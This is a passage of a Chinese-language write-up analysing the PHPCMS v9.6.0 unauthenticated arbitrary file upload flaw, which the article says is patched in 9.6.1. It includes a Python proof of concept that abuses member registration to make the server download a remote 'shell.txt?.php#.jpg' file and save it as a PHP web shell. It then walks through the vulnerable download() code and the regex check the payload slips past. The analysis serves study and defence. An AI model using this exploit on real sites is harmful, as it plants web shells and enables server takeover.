渗透测试 - 黑客技术 | 【漏洞分析】PHPCMS v9.6.0 任意文件上传漏洞分析（已有补丁）

0x00 漏洞概述

漏洞简介

前几天 phpcms v9.6 的任意文件上传的漏洞引起了安全圈热议，通过该漏洞攻击者可以在未授权的情况下任意文件上传，影响不容小觑。phpcms官方今天发布了9.6.1版本，对漏洞进行了补丁修复。

漏洞影响

任意文件上传

0x01 漏洞复现

本文从 PoC 的角度出发，逆向的还原漏洞过程，若有哪些错误的地方，还望大家多多指教。

首先我们看简化的 PoC ：

							import re  
						
							import requests
						
							def poc(url):  
						
							    u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url)
						
							    data = {
						
							        'siteid': '1',
						
							        'modelid': '1',
						
							        'username': 'test',
						
							        'password': 'testxx',
						
							        'email': 'test@test.com',
						
							        'info[content]': '<img src=http://url/shell.txt?.php#.jpg>',
						
							        'dosubmit': '1',
						
							    }
						
							    rep = requests.post(u, data=data)
						
							    shell = ''
						
							    re_result = re.findall(r'&lt;img src=(.*)&gt', rep.content)
						
							    if len(re_result):
						
							        shell = re_result[0]
						
							        print shell

可以看到 PoC 是发起注册请求，对应的是phpcms/modules/member/index.php中的register函数，所以我们在那里下断点，接着使用 PoC 并开启动态调试，在获取一些信息之后，函数走到了如下位置：

通过 PoC 不难看出我们的 payload 在$_POST['info']里，而这里对$_POST['info']进行了处理，所以我们有必要跟进。

在使用new_html_special_chars对<>进行编码之后，进入$member_input->get函数，该函数位于caches/caches_model/caches_data/member_input.class.php中，接下来函数走到如下位置：

由于我们的 payload 是info[content]，所以调用的是editor函数，同样在这个文件中：

接下来函数执行$this->attachment->download函数进行下载，我们继续跟进，在phpcms/libs/classes/attachment.class.php中：

							function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')  
						
							{
						
							    global $image_d;
						
							    $this->att_db = pc_base::load_model('attachment_model');
						
							    $upload_url = pc_base::load_config('system','upload_url');
						
							    $this->field = $field;
						
							    $dir = date('Y/md/');
						
							    $uploadpath = $upload_url.$dir;
						
							    $uploaddir = $this->upload_root.$dir;
						
							    $string = new_stripslashes($value);
						
							    if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
						
							    $remotefileurls = array();
						
							    foreach($matches[3] as $matche)
						
							    {
						
							        if(strpos($matche, '://') === false) continue;
						
							        dir_create($uploaddir);
						
							        $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
						
							    }
						
							    unset($matches, $string);
						
							    $remotefileurls = array_unique($remotefileurls);
						
							    $oldpath = $newpath = array();
						
							    foreach($remotefileurls as $k=>$file) {
						
							        if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
						
							        $filename = fileext($file);
						
							        $file_name = basename($file);
						
							        $filename = $this->getname($filename);
						
							        $newfile = $uploaddir.$filename;
						
							        $upload_func = $this->upload_func;
						
							        if($upload_func($file, $newfile)) {
						
							            $oldpath[] = $k;
						
							            $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
						
							            @chmod($newfile, 0777);
						
							            $fileext = fileext($filename);
						
							            if($watermark){
						
							                watermark($newfile, $newfile,$this->siteid);
						
							            }
						
							            $filepath = $dir.$filename;
						
							            $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
						
							            $aid = $this->add($downloadedfile);
						
							            $this->downloadedfiles[$aid] = $filepath;
						
							        }
						
							    }
						
							    return str_replace($oldpath, $newpath, $value);
						
							}

函数中先对$value中的引号进行了转义，然后使用正则匹配：

							$ext = 'gif|jpg|jpeg|bmp|png';
						
							...
						
							$string = new_stripslashes($value);
						
							if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i",$string, $matches)) return $value;

这里正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png)，我们的 payload （<img src=http://url/shell.txt?.php#.jpg>）符合这一格式（这也就是为什么后面要加.jpg的原因）。

接下来程序使用这行代码来去除 url 中的锚点：$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);，处理过后$remotefileurls的内容如下：